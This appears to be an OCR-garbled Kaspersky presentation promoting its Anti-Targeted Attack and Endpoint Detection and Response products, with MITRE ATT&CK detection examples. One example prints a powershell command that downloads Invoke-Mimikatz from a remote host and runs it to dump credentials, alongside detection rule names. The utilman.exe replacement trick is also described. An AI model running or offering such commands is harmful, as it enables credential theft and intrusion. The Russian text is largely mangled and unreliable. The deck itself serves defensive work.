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[lepenoBble Yrpo3bl: CNOXHbIE U HEJTUHENHbIE
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ATaka BO BpeMs npoBeaeHuns 3mMHen onnmMmnunanbl B NxeH4xaHe

© C6op email agpecos
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PeweHune Kaspersky Threat Management and Defense

ANTI TARGETED ATTACK PLATFORM

©),
ENDPOINT
CYBERSECURITY DETECTION AND
SERVICES RESPONSE

3P %
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Kaspersky Anti-Targeted Attack
Platform
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Kaspersky Anti-Targeted Attack (KATA 3.6): aetektupytowume
TEXHOI0MUU

= Cucrtema obHapyxeHus stop>xeHunmn (IDS)

= Moaynb aHTuBMpycHou 3awmnTtbl (Anti Malware
Engine)

* lHOAMKATOpPblI KOMMpoMeTaunuu

= Moaynb YARA Engine

= Cepsucol Threat Intelligence

* fTHAMKaTOpbLI aTak

= O6nayHbIn ML-aHanus .apk dpannos
= Sandbox

kaspersky



KATA: apxuTtekTypa
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KATA: Bu3yannsauums

(©) Dashboard > New Layout

Kaspersky
Anti Targeted
Attack Platform
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CueHapuun ncnonb3loBsaHuns Kaspersky Endpoint Detection and Response

Cepble, HEU3BECTHbIE

npoLeccol

KEDR

©)

I

BpenoHocHas
aKTUBHOCTb

JlermtumHas
aKTUBHOCTb
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CueHapuun ncnonb3loBsaHuns Kaspersky Endpoint Detection and Response

[Mpumep 1 — nogmeHa utilman.exe

ID: T1015 ID: T1036
MITRE AtTack Tactic: Persistence, Privilege Escalation Tactic: Defense Evasion
Technique: Accessibility Features Technique: Masquerading

KASPER§KY3

SOC-157111

Description:

Ha MK 99-00-02. .r'u Beina obHapyxeHa nogMmeHa opurMHaneHoro channa utiiman.exe Ha
cmd.exe:

Path: d:\utilman.exe

MD5: 0x622D21C40A25F9834A03BFDSFF4710CH

[anHan nogmeHa co3gaeT yrposy HeaBTOPW30BaHHOO JocTyna B cUCTEMY,
B TOM 4YWcle 4depe3 yaaneHHbld pabodyuid cTon. BoamoxeH HeaBTOPW30BaHHLIA BXOO B CUCTEMY ©
npaeamu SYSTEM. 3Ta TexHUKa MOMET MCNonbaoBaTecA AnA cbpoca napona Unu coagaHua'yaaneHua
HOBOIO NONb30BaTend, B TOM Yyucne Yepes noginiodedHne RDP (Remote Desktop Protocol).

PekomeHOyeTcA MPOBEPWTE NEMMTUMHOCTE NoAMeHbl danna utiman.exe dainom cmdexe. W
BOCCTAHOBWTL MCXOOHLIA hain utilman. exe.
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CueHapuun ncnonb3loBsaHuns Kaspersky Endpoint Detection and Response

[Mpumep 1 — nogmeHa utilman.exe

@ Threat Hunting

Kaspersky Builder Source code
Anti Targeted Attack
Platform

Dashboard

T M

Alerts 42
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Threat Hunting
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CueHapuun ncnonb3loBsaHuns Kaspersky Endpoint Detection and Response

[Tpumep 2 — 3arpy3ka BpegoOHOCHOro Koga ¢ nomoulbto powershell

ID: T1071
MITRE ‘ ATT&CK Tactic: Command And Control
Technique: Standard Application Layer Protocol

powershell.exe "iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/")"

@ Threat Hunting
Kaspersky Builder Source code
Anti Targeted Attack
Platform .-
=] Dashboard
F Alerts 2
& Threat Hunting

&

Tasks

K

Prevention

kaspersky



CueHapuun ncnonb3oBaHunsa Kaspersky Endpoint Detection and Response

[Tpumep 2 — 3arpys3ka BpegoOHOCHOro Koga ¢ nomoulbto powershell

@ Threat Hunting
i EventType = AND FileName CONTAINS AND StartupParameters CONTAINS
Anti Targeted Attack
Platform

All hosts = goldbergarm.CORP.mdc.com

= Dashboard

Event time Event

F  Alens 42
18/09 14:42:53 Process started

&. Threat Hunting

kaspersky



CueHapuun ncnonb3oBaHunsa Kaspersky Endpoint Detection and Response

(©)

Kaspersky
Anti Targeted Attack
Platform

Dashboard

Alerts

Threat Hunting
Tasks

Prevention
IOC/I0A Analysis v
Storage

Endpoint Sensors
Reports v

Settings »

All hosts -~ goldbergarm.CORP.mdc.com - Process started

cmd.exe Events: 4

Process started Parent process

mimikatz_commands_pattemns [ | suspicious_powershell_cmdline_downloading [

18 September 2019 14:42

935c1861df1f4@18d6

8976

adStringChttps:/fraw.githubusercontent.com/mattifestation/PowerSpl
oit/master/Exfiltration/Invoke-Mimikatz.ps1);Invoke-Mimikatz - DumoCreds

347767

c5723baf1

5ffd93298cbf1d5837677f5elcfd5fc515b53f2cf@2ca473bef

File created: 1

Module loaded: 3
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KEDR: pearmpoBaHune Ha MHUMNAEHT

738178902799d2ba7814e8ade548Fd47

Find on Kaspersky Threat Intelligence Portal G

Find in Events database
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KEDR: nsondumna Xocrta

|Isolation of host IVANOVARM.CORP.mdc.com

Exclusions to the host isolation rule

Traffic direction IP

Incoming/Outgoing

Add

kaspersky



MHAUKaATOPbI aTaK: OT 3alUThl K
HanaaeHuio

kaspersky



KATA 3.6: IoA nHankaTtopbl aTak U NOUCK yrpos

* WHounkatopbl noctaenatTca akcneptamm JIK
* ECTb BO3MOXHOCTb CO3aBaTb CBOU MHOMKATOPLI

« General Details (host name, user name)

* JoA (TaKTUKN, TEXHUKWN, BAXHOCTb,
HaAEeXHOCTb)

« CBoucTBa panna

e 3anyck npouecca (poanTenbCKuUn npoLecc)
 YaaneHHble coeanHeHuns

« Moaundukaumnsa peectpa

« Cob6biTna ns xxypHanos Windows Event Log
« [etekTbl Kaspersky Endpoint Security

kaspersky



[TONCK MO MHAMKATOpPaM aTak

Threat Hur']ting Save as IOA rule...v

Builder

VIABRIAWIADRA 7 —_—
VANOVARM CORP.mdc.com
Port listened

CONTAINS

kaspersky




[TOUMCK NO MHAMKaTOpaM aTak

All hosts IVANOVARM.CORP.mdc.com

Event time Event Details

16/04 10:11:05 Port listened 127200151270

C:\Program Files (x86)\Kaspersky Lab\Kaspersky Security Center\klfc.exe
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[TONCK MO MHAMKATOPaAM aTak, BU3yannmsauund
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[Tonck no nHankaTtopam atak, matpuua MITRE ATT&CK

ATT&CK Matrix for Enterprise

Credential
Dumping

attack.mitre.org kaspersky



[Tonck no nHaonkaTtopam atak, matpuua Mitre ATT&CK
Threat Hunting

Builder

OATechnique ¥ || CONTAINS ¥ || Credential Dumping

m New search Clear
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KATA: pe3omMe

©,

Kaspersky*
Anti-Targeted
Attack

= KATA — egnHasa texHonornyeckasi nnatgopma,

NHCTPYMEHT MOHUTOPUHra 1 aHanusa Tpaduka n cobbITUN KOHEYHbIX TOYEK
= KEDR — areHTcKoe pellueHne, MHCTPYMEHT obHapyXeHnsa 1 pearmpoBaHust Ha UHUUMAOEHT
= SandboXx — MHCTPYMEHT OOHapYy>XEHUS1 HEN3BECTHbLIX Yrpo3

= Pexum 6rnokupoBku npu nHterpauum ¢ KSMG, KWTS 6.1
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CepBuUChbI

O

Kaspersky®
Cybersecurity
Services

Q

Kaspersky®
Security
Trainings

Kaspersky Managed Protection (KMP)
PaccnegoBaHne HUMOEHTOB

[MOTOKM OaHHbIX, OTYETHLI 00 yrpo3ax

[MoBbILLEHNE OCBEQOMITEHHOCTM COTPYAHNKOB

[MpodeccrnoHanbHble TpeHuHrn ansa UT n b cneunannctos

kaspersky



Kaspersky Sandbox

|

Kaspersky Security Center

* Previously unknown malware | |
* New viruses and ransomware } ]‘

« Zero-day exploits, and others

. Use cases

Support for automatic scenarios in countering unknown threats without
the need to hire specialists

Protéction of high-lgaded terminal servers, even with the behavioral

analysis module in Kaspersky Endpoint Security for Business switched off R e 2SS PROBEEMS BE.

Endpoint protection, even without any interaction with the global + Insufficient automation .
Kaspersky Security Network threat database + Lack of resources

_ _ _ _ « Overwhelming skilled personnel with routine
API enables integration with third-party applications in the customer’s tasks
infrastructure ;
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AnekcaHgp Komuccapos
NHXEeHep NpeanpoaaXHOW NoaaepKKu

Alexander.Komissarov@kaspersky.com
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